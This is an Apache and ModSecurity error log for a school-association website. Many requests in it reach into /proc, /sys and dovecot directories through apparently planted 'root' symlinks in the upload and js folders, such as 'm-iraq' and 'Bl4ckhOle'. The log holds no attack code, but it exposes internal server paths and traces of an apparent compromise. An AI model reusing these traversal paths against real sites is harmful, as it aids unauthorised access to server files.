[Fri Jul 17 09:42:36.841273 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almrtI-0g_VSPeIeFN3JLQAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:42:36.877701 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:36.933751 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:37.156464 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:51282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:37.195749 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/fib6_nodes/poison
[Fri Jul 17 09:42:37.286387 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:37.476343 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:37.568081 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:37.669686 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:37.763946 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:37.945526 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:38.040052 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:38.143506 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:38.267835 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:38.295283 2026] [ssl:error] [pid 2031172:tid 2031172] (5)Input/output error: [client 66.85.158.91:51312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:38.475404 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:38.640544 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:38.824438 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty9/subsystem/ttyS3/port
[Fri Jul 17 09:42:38.918001 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/subsystem/wakeup16/device/power/control"] [unique_id "almrtgRRrtuZqNDDSqW42QAAABo"]
[Fri Jul 17 09:42:38.918045 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/subsystem/wakeup16/device/power/control"] [unique_id "almrtgRRrtuZqNDDSqW42QAAABo"]
[Fri Jul 17 09:42:39.009701 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.100509 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.285577 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.374980 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.558454 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.747077 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.889178 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:39.938029 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.025805 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.117632 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.301625 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.757432 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.849018 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.886904 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.890775 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:40.940116 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:00/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:42:41.031755 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:41.132914 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:41.136072 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.pop3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.pop3/' is executable
[Fri Jul 17 09:42:41.136136 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.pop3-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.pop3-login/' is executable
[Fri Jul 17 09:42:41.136184 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.managesieve/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.managesieve/' is executable
[Fri Jul 17 09:42:41.136212 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.managesieve-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.managesieve-login/' is executable
[Fri Jul 17 09:42:41.136238 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.indexer-worker/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.indexer-worker/' is executable
[Fri Jul 17 09:42:41.136264 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.imap/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.imap/' is executable
[Fri Jul 17 09:42:41.136294 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.imap-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.imap-login/' is executable
[Fri Jul 17 09:42:41.136321 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.imap-hibernate/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/srv.imap-hibernate/' is executable
[Fri Jul 17 09:42:41.136349 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/token-login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/token-login/' is executable
[Fri Jul 17 09:42:41.136378 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/login/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/run/dovecot/login/' is executable
[Fri Jul 17 09:42:41.217612 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:41.306241 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty62/subsystem/ttyS2/port
[Fri Jul 17 09:42:41.399503 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/sgpool-128/shrink
[Fri Jul 17 09:42:41.962134 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup6/device/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:42:42.664649 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:42.672685 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:42.710186 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:42.766420 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:42.788316 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:42.788881 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0b/subsystem/drivers/battery/"] [unique_id "almrupuhBssQvDAz4zCp9gAAABI"]
[Fri Jul 17 09:42:42.788902 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:0b/subsystem/drivers/battery/"] [unique_id "almrupuhBssQvDAz4zCp9gAAABI"]
[Fri Jul 17 09:42:42.880807 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.164632 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mariadb-import"] [unique_id "almru0_0b3nWp8txtSDFygAAAA0"]
[Fri Jul 17 09:42:43.164976 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mariadb-import"] [unique_id "almru0_0b3nWp8txtSDFygAAAA0"]
[Fri Jul 17 09:42:43.171855 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/mariadb-import"] [unique_id "almru0_0b3nWp8txtSDFygAAAA0"]
[Fri Jul 17 09:42:43.268547 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almru4-0g_VSPeIeFN3JNQAAAAs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:42:43.268604 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almru4-0g_VSPeIeFN3JNQAAAAs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:42:43.319618 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/nf_conntrack/aliases
[Fri Jul 17 09:42:43.319782 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.342836 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.424669 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.496559 2026] [security2:error] [pid 2050576:tid 2050576] [client 57.141.18.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory120/subsystem/devices/memory3/node0/memory129/subsystem/devices/memory15/"] [unique_id "almru5uhBssQvDAz4zCp9wAAABI"]
[Fri Jul 17 09:42:43.496615 2026] [security2:error] [pid 2050576:tid 2050576] [client 57.141.18.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory120/subsystem/devices/memory3/node0/memory129/subsystem/devices/memory15/"] [unique_id "almru5uhBssQvDAz4zCp9wAAABI"]
[Fri Jul 17 09:42:43.609393 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.698071 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.794697 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:43.950328 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:47092] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:44.207093 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.271803 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:01/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:42:44.366866 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.459104 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.561949 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.648320 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.844542 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.848509 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:44.927683 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.207584 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:03/subsystem/drivers/battery/unbind
[Fri Jul 17 09:42:45.306015 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.396778 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.577187 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.668603 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.761929 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.766448 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory66/node0/memory92/subsystem/devices/memory22/node0/memory40/"] [unique_id "almrvYl9vhFBGA6D8l-DLAAAAAw"]
[Fri Jul 17 09:42:45.766484 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory66/node0/memory92/subsystem/devices/memory22/node0/memory40/"] [unique_id "almrvYl9vhFBGA6D8l-DLAAAAAw"]
[Fri Jul 17 09:42:45.853701 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:45.944353 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.033605 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.127148 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.223246 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.636367 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.685807 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.832162 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.896114 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:46.959039 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:47.236768 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:47.440974 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:47.532305 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:47.627240 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:47.742871 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:47.811140 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.006882 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.127660 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/subsystem/wakeup11/device/PNP0A06:01/path"] [unique_id "almrwFCBpfuYyhJ140vbrwAAAB4"]
[Fri Jul 17 09:42:48.127710 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/subsystem/wakeup11/device/PNP0A06:01/path"] [unique_id "almrwFCBpfuYyhJ140vbrwAAAB4"]
[Fri Jul 17 09:42:48.386565 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.549989 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.566826 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.730229 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.795370 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.869727 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:48.953806 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:49.050546 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.122:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory120/node0/memory63/node0/memory128/node0/memory137/"] [unique_id "almrwbEWOaI5pmYo9fnX-AAAAAA"]
[Fri Jul 17 09:42:49.050610 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.122:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory120/node0/memory63/node0/memory128/node0/memory137/"] [unique_id "almrwbEWOaI5pmYo9fnX-AAAAAA"]
[Fri Jul 17 09:42:49.333087 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:49.370025 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:49.419946 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:49.514839 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:49.606170 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:49.709264 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:50.053433 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
